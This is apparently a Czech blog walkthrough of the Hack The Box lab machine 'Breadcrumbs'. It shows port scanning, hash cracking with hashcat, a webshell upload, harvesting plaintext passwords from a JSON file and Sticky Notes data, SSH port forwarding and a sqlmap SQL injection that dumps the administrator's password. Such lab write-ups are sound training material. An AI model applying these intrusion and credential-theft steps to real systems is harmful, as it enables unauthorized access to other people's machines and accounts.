tom@home.htb:~$

Blog o HTB

12 November 2020

Breadcrumbs

Úvod a kontext

Breadcrumbs je typický příklad řetězce z malých, zdánlivě nesouvisejících stop. Webový portál dovolí upload a práci se session tokenem, v lokálních datech pak leží JSON objednávky s dalším heslem a Sticky Notes doplní přístup k internímu účtu development.

Nejdůležitější je právě návaznost jednotlivých pivotů. Útok nejde přímo z webu na Administrator, ale přes www-data, juliette, development a teprve potom na interní passmanager.htb, kde leží finální tajemství pro administrátorský účet.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
[... výstup zkrácen ...]
|   date: 2021-03-23T20:35:20
|_  start_date: N/A

http://10.10.10.228/portal/php/
http://10.10.10.228/portal/php/admins.php
http://10.10.10.228/portal/php/users.php
http://10.10.10.228/portal/composer.json
http://10.10.10.228/portal/composer.lock
http://10.10.10.228/portal/vendor/composer/installed.json
http://10.10.10.228/portal/uploads/

Analýza zjištění

Crack hesel z portálu

Dump uživatelských hashů z portálu má smysl právě proto, že může otevřít další účet nebo potvrdit heslové vzorce v prostředí. Tady byl nejdůležitější účet juliette, který se později objeví i v lokálních datech.

john	__CENSORED__
emma	__CENSORED__
william	__CENSORED__
lucas	__CENSORED__
sirine	__CENSORED__
juliette	__CENSORED__
support	__CENSORED__

Ověření slabých hesel

hashcat tady neřeší finální root, ale připravuje další mezikroky. V prostředí s více uživateli je důležité vědět, které účty mají slabší hesla a kde se může vyplatit další pivot.

hashcat -m100 -a 0 hashes /usr/share/wordlists/rockyou.txt

Získání přístupu

Upload webshellu a účet www-data

První vstup vedl přes upload do portálu s platným session/JWT tokenem. Webshell potom odhalil lokální AutoLogon údaje a ty dovolily přepnout se na www-data přes SSH, místo aby se celý další průzkum dělal v křehkém webovém procesu.

ssh www-data@$IP
PS C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData> cat .\juliette.json
{
        "pizza" : "margherita",
        "size" : "large",
        "drink" : "water",
        "card" : "VISA",
        "PIN" : "9890",
        "alternate" : {
                "username" : "juliette",
                "password" : "jUli901./())!",
        }
}

Přechod na juliette

V pizzaDeliveryUserData leží soubory jednotlivých uživatelů. juliette.json je cenný právě proto, že obsahuje alternativní heslo, které otevře další účet bez potřeby další exploitační chyby.

ssh juliette@$IP
gc C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite* .

Získání user flagu

Sticky Notes v plum.sqlite doplnily ještě heslo k účtu development. To je důležitý mezikrok, protože právě development vidí interní službu passmanager.htb na portu 1234.

ssh development@$IP
fN3)sN5Ee@g

Eskalace oprávnění

Získání root flagu

Root část začíná až u interního passmanager.htb. Po přesměrování portu 1234 se ukáže SQL injection v parametru method, ze které jde vytáhnout AES klíč i šifrované heslo administrátora. Po dešifrování vznikne přístup pro účet Administrator, který už otevře root.txt přímo.

ssh -N -L 1234:127.0.0.1:1234 development@10.10.10.228
sqlmap --dump -u "http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords"
ssh administrator@10.10.10.228
more root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - sql-injection - smb - ssh - php